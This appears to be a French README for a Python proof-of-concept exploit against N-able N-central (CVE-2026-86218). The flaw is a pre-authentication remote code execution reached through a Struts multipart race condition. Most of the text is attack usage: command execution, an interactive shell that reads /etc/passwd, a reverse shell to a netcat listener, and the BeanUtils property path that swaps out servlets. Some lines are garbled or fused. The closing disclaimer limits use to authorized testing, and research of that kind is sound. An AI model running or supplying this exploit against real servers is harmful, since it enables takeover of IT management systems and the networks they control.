
Preuve de concept en Python 3 pour CVE-2026-86218, une RCE pré-authentification dans N-able N-central via une condition de course multipart Struts, avec exécution de commandes et prise en charge du reverse shell.
Ceci est un exploit de preuve de concept en Python 3 pour CVE-2026-86218, une vulnérabilité critique d'exécution de code à distance avant authentification dans N-able N-central.
Détails de la vulnérabilité :
N-able N-central utilise un formulaire Struts à portée de session sur une action non authentifiée (/remoteControlAction.do). Deux requêtes multipart concurrentes peuvent provoquer une condition de course dans le gestionnaire multipart du formulaire et exposer la configuration active de Jetty au peuplement de propriétés de Commons BeanUtils. Cela permet à un attaquant de :
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Option | Description |
|---|---|
-t, --target | URL N-central cible (par exemple, https://192.168.1.100) |
-c, --command | Commande unique à exécuter |
-i, --interactive | Mode de commande interactif |
--lhost | IP d'écoute pour le reverse shell |
--lport | Port d'écoute (par défaut : 4444) |
--servlet | Servlet à remplacer : LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Vérifier si la cible est vulnérable |
--no-verify-ssl | Désactiver la vérification du certificat SSL |
--timeout | Délai d'attente des requêtes (par défaut : 30s) |
--race-delay | Délai de la condition de course (par défaut : 0.35s) |
-v, --verbose | Activer la sortie verbeuse |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Sortie attendue :
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Sortie attendue :
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Démarrer l'écouteur en premier :
nc -lvnp 4444
Lancer l'exploit :
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Sortie attendue :
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Sortie de l'écouteur :
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Session interactive :
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Description | Impact |
|---|---|---|
LogRetrieval | Point de terminaison de récupération des journaux (par défaut) | Le moins perturbateur, journaux indisponibles jusqu'au redémarrage |
FileTransfer | Point de terminaison de transfert de fichiers | Perturbe la fonctionnalité de transfert de fichiers |
AutomationManagerDownloadServlet | Téléchargement du gestionnaire d'automatisation | Nécessite le port de l'interface de gestion (8443) |
/remoteControlAction.do pour extraire la version depuis la page d'erreurLa vulnérabilité exploite une condition de course dans la gestion des formulaires multipart de Struts :
Les champs de mutation utilisent des chemins de propriétés JavaBean :
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Cela traverse : gestionnaire multipart → contexte de servlet → chargeur de classes → WebAppContext → gestionnaire de servlet → détenteur spécifique
/remoteControlAction.doCet exploit est fourni à des fins de tests de sécurité autorisés et éducatives uniquement. L'utilisation non autorisée de cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester est illégale et contraire à l'éthique.
Obtenez toujours une autorisation appropriée avant de mener des activités de test d'intrusion.